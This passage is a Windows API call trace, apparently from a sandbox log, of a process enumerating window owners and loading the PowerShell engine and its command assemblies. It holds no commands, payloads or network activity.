	[0061.782] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x54c
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x43c
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x5a4
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x588
	[0061.782] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x544
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x518
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x4f0
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x66c
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.783] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x124
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x688
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x32c
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x428
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x8e8
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0xb34
	[0061.784] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x830
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x820
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x810
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x90
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x20c
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3f4
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x214
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x14c
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x678
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x668
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x2b4
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x5ec
	[0061.785] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x1c4
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x42c
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x68c
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x620
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x250
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x670
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x64
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6b0
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6d4
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x6a4
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x54c
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x43c
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x5a4
	[0061.786] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x4f0
	[0061.787] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x66c
	[0061.787] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.787] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x3a0
	[0061.787] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x14d800 | out: lpdwProcessId=0x14d800) returned 0x688
	[0061.794] WerSetFlags () returned 0x0
	[0061.807] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1
	[0061.807] CoTaskMemFree (pv=0x0) 
	[0061.808] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x14db68, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x14db60 | out: pulNumLanguages=0x14db68, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x14db60) returned 1
	[0061.808] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x14db68, pwszLanguagesBuffer=0x2c29828, pcchLanguagesBuffer=0x14db60 | out: pulNumLanguages=0x14db68, pwszLanguagesBuffer=0x2c29828, pcchLanguagesBuffer=0x14db60) returned 1
	[0061.815] CoTaskMemAlloc (cb=0x24) returned 0x282efa0
	[0061.815] GetUserDefaultLocaleName (in: lpLocaleName=0x282efa0, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6
	[0061.815] CoTaskMemFree (pv=0x282efa0) 
	[0061.839] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0061.839] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0061.839] CoTaskMemFree (pv=0x2a7990) 
	[0061.843] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0061.843] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0061.843] CoTaskMemFree (pv=0x2a7990) 
	[0061.848] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0061.848] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0061.848] CoTaskMemFree (pv=0x2a7990) 
	[0061.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0061.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0061.863] SetErrorMode (uMode=0x1) returned 0x1
	[0061.863] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x14d7e0 | out: lpFileInformation=0x14d7e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1
	[0061.863] SetErrorMode (uMode=0x1) returned 0x1
	[0061.863] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x14da50 | out: lpdwHandle=0x14da50) returned 0x94c
	[0061.864] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c2d0b8 | out: lpData=0x2c2d0b8) returned 1
	[0061.865] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14d9c8, puLen=0x14d9c0 | out: lplpBuffer=0x14d9c8*=0x2c2d154, puLen=0x14d9c0) returned 1
	[0061.865] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d230, puLen=0x14d930) returned 1
	[0061.865] lstrlenW (lpString="Microsoft Corporation") returned 21
	[0061.865] CoTaskMemAlloc (cb=0x2e) returned 0x2829c70
	[0061.865] lstrcpyW (in: lpString1=0x2829c70, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation"
	[0061.865] CoTaskMemFree (pv=0x2829c70) 
	[0061.865] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d284, puLen=0x14d930) returned 1
	[0061.865] lstrlenW (lpString="System.Management.Automation") returned 28
	[0061.865] CoTaskMemAlloc (cb=0x3c) returned 0x2830d90
	[0061.865] lstrcpyW (in: lpString1=0x2830d90, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation"
	[0061.865] CoTaskMemFree (pv=0x2830d90) 
	[0061.865] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d2e0, puLen=0x14d930) returned 1
	[0061.865] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0061.865] CoTaskMemAlloc (cb=0x20) returned 0x282f000
	[0061.865] lstrcpyW (in: lpString1=0x282f000, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0061.865] CoTaskMemFree (pv=0x282f000) 
	[0061.865] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d320, puLen=0x14d930) returned 1
	[0061.866] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0061.866] CoTaskMemAlloc (cb=0x44) returned 0x2830d90
	[0061.866] lstrcpyW (in: lpString1=0x2830d90, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0061.866] CoTaskMemFree (pv=0x2830d90) 
	[0061.866] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d388, puLen=0x14d930) returned 1
	[0061.866] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57
	[0061.866] CoTaskMemAlloc (cb=0x76) returned 0x2f5dd0
	[0061.866] lstrcpyW (in: lpString1=0x2f5dd0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved."
	[0061.866] CoTaskMemFree (pv=0x2f5dd0) 
	[0061.866] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d424, puLen=0x14d930) returned 1
	[0061.866] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0061.866] CoTaskMemAlloc (cb=0x44) returned 0x2830d90
	[0061.866] lstrcpyW (in: lpString1=0x2830d90, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0061.866] CoTaskMemFree (pv=0x2830d90) 
	[0061.866] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d488, puLen=0x14d930) returned 1
	[0061.866] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42
	[0061.866] CoTaskMemAlloc (cb=0x58) returned 0x2a9d50
	[0061.866] lstrcpyW (in: lpString1=0x2a9d50, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System"
	[0061.866] CoTaskMemFree (pv=0x2a9d50) 
	[0061.866] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d504, puLen=0x14d930) returned 1
	[0061.866] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0061.866] CoTaskMemAlloc (cb=0x20) returned 0x282f000
	[0061.866] lstrcpyW (in: lpString1=0x282f000, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0061.866] CoTaskMemFree (pv=0x282f000) 
	[0061.866] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x2c2d1ac, puLen=0x14d930) returned 1
	[0061.866] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49
	[0061.866] CoTaskMemAlloc (cb=0x66) returned 0x2825290
	[0061.866] lstrcpyW (in: lpString1=0x2825290, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly"
	[0061.866] CoTaskMemFree (pv=0x2825290) 
	[0061.866] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x0, puLen=0x14d930) returned 0
	[0061.867] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x0, puLen=0x14d930) returned 0
	[0061.867] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x14d938, puLen=0x14d930 | out: lplpBuffer=0x14d938*=0x0, puLen=0x14d930) returned 0
	[0061.867] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14d908, puLen=0x14d900 | out: lplpBuffer=0x14d908*=0x2c2d154, puLen=0x14d900) returned 1
	[0061.867] CoTaskMemAlloc (cb=0x204) returned 0x31a000
	[0061.867] VerLanguageNameW (in: wLang=0x0, szLang=0x31a000, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
	[0061.867] CoTaskMemFree (pv=0x31a000) 
	[0061.867] VerQueryValueW (in: pBlock=0x2c2d0b8, lpSubBlock="\\", lplpBuffer=0x14d958, puLen=0x14d950 | out: lplpBuffer=0x14d958*=0x2c2d0e0, puLen=0x14d950) returned 1
	[0061.874] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0061.879] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0061.881] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d828 | out: phkResult=0x14d828*=0x310) returned 0x0
	[0061.882] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14d7ec, lpData=0x0, lpcbData=0x14d7e8*=0x0 | out: lpType=0x14d7ec*=0x1, lpData=0x0, lpcbData=0x14d7e8*=0x56) returned 0x0
	[0061.883] CoTaskMemAlloc (cb=0x5a) returned 0x2825220
	[0061.883] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14d7bc, lpData=0x2825220, lpcbData=0x14d7b8*=0x56 | out: lpType=0x14d7bc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x14d7b8*=0x56) returned 0x0
	[0061.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14d340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0061.912] CoTaskMemAlloc (cb=0x104) returned 0x2a7990
	[0061.912] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7990, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0061.912] CoTaskMemFree (pv=0x2a7990) 
	[0062.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0062.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0062.174] CoTaskMemAlloc (cb=0x104) returned 0x2a7aa0
	[0062.174] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.174] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.174] CoTaskMemAlloc (cb=0x104) returned 0x2a7aa0
	[0062.174] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.174] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.202] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.202] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.204] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.204] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.204] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.204] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
	[0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
	[0062.514] CoTaskMemAlloc (cb=0x104) returned 0x2a7aa0
	[0062.514] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.514] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.519] CoTaskMemAlloc (cb=0x104) returned 0x2a7aa0
	[0062.519] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7aa0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0062.519] CoTaskMemFree (pv=0x2a7aa0) 
	[0062.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0062.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0063.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
	[0063.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14d3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
	[0063.309] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.309] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.309] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
